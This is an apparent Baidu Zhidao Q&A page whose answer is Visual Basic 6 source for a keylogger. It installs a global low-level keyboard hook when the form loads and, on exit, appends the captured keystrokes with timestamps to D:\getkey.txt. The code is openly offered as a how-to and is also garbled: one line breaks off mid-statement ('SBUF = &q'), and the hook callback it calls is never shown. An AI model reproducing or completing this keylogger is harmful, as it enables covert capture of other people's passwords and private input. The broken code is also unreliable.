VB怎么实现.....

来源:百度知道 编辑:UC知道 时间:2024/06/25 08:41:42
'模块部分
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化数据
appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf
SBUF = &q

Private Sub form_Load()
if not dir("D:\getkey.txt") = "" then
Open "D:\getkey.txt" For Input As #1 '你的意思是在打开的时候读取内容吗
Dim Lines As String
Dim NextLine As String
Dim i As Integer
Do While Not EOF(1)
On Error Resume Next
Line Input #1, NextLine
Lines = Lines & NextLine & Chr(13) & Chr(10)
Loop
Close #1
Text2.Text = Lines
end if
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"
Module1.ints '初始化数据
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub

Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook) '程序退出时
Open "D:\getkey.txt" For Append As #1 '打开文本
Print #1, Module1.appStr '一次性记录
Print #1, "到" & Now() & "结束!" & vbCrLf
Close #1
End Sub